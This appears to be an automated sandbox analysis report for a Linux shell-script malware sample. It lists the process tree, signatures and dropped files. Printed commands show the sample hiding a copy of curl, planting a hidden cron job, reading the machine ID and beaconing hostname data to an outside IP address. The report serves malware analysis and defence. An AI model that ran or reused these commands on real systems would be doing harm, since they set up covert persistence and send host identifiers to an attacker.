Overview

overview

7

Static

static

1

887cee8882...fef.sh

ubuntu-18.04-amd64

7

887cee8882...fef.sh

debian-9-armhf

7

887cee8882...fef.sh

debian-9-mips

7

887cee8882...fef.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    3s
  • max time network
    5s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/10/2026, 06:40

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef.sh
  • Size 957B
  • Sample261002-hfc75att8m
  • SHA256 887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalation

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 8 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • cURL User-Agent 2 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • /tmp/887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef.sh
    /tmp/887cee8882a211aa262f950214ae561cbce8f400ef63a9d46d7583c6cfbeafef.sh
    1⤵
    • Creates/modifies Cron job
    PID:643
    • /bin/mkdir
      mkdir /usr/local/lib/.sysd
      2⤵
      • Reads runtime system information
      PID:645
    • /bin/mkdir
      mkdir /etc/cron.d
      2⤵
      • Reads runtime system information
      PID:648
    • /bin/cp
      cp /usr/bin/curl /usr/local/lib/.sysd/curl
      2⤵
      • Reads runtime system information
      PID:651
    • /bin/chmod
      chmod 755 /usr/local/lib/.sysd/curl
      2⤵
      • File and Directory Permissions Modification
      PID:655
    • /bin/hostname
      hostname
      2⤵
        PID:658
      • /bin/cat
        cat /etc/machine-id
        2⤵
          PID:662
        • /bin/uname
          uname -m
          2⤵
            PID:667
          • /bin/hostname
            hostname
            2⤵
              PID:670
            • /bin/chmod
              chmod 755 /usr/local/lib/.sysd/hb
              2⤵
              • File and Directory Permissions Modification
              PID:672
            • /bin/sh
              sh /usr/local/lib/.sysd/hb
              2⤵
                PID:673
                • /usr/bin/curl
                  curl -s -A curl/8.4.0 "http://8.216.48.50/h?h=debian9-armhf-20260513-en-10-cf3e0e345fc74177872c0fe85fe36123-armv7l&v=c3"
                  3⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  PID:674
                • /usr/bin/wget
                  wget -q -U curl/8.4.0 -O /dev/null "http://8.216.48.50/h?h=debian9-armhf-20260513-en-10-hb&v=c3"
                  3⤵
                    PID:682
                • /bin/ls
                  ls -l /etc/cron.d/
                  2⤵
                  • Reads runtime system information
                  PID:683
                • /bin/cat
                  cat /etc/cron.d/.clown
                  2⤵
                    PID:684
                  • /bin/hostname
                    hostname
                    2⤵
                      PID:685
                    • /usr/bin/curl
                      curl -s -o /dev/null "http://8.216.48.50/h?h=debian9-armhf-20260513-en-10-DONE&v=c3"
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      PID:686

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        .clown
                        • Path /etc/cron.d/.clown
                        • Size 57B
                        • SHA256 87d22e6ce815931c47820fd1ddbbbeaa8b2ae5ae4c0be1a40917e48a1436ecc2
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        curl
                        • Path /usr/local/lib/.sysd/curl
                        • Size 149KB
                        • SHA256 db8109f973860b011ac6fdc46c86043bdcec2ceeacf7ac561b2bffb788cb36ae
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        hb
                        • Path /usr/local/lib/.sysd/hb
                        • Size 10B
                        • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                        • MD5 SHA1 SHA512
                        Submit Download

                        hb
                        • Path /usr/local/lib/.sysd/hb
                        • Size 147B
                        • SHA256 94a8d2e3ba98ad68be6baf7533812ed7b0ce0519108b22a266393746bf76af2c
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        hb
                        • Path /usr/local/lib/.sysd/hb
                        • Size 256B
                        • SHA256 dfa616e1aa42d5d88e22e85cf88c25aa973372ea3bc1c797beb69cef1aa7c32d
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download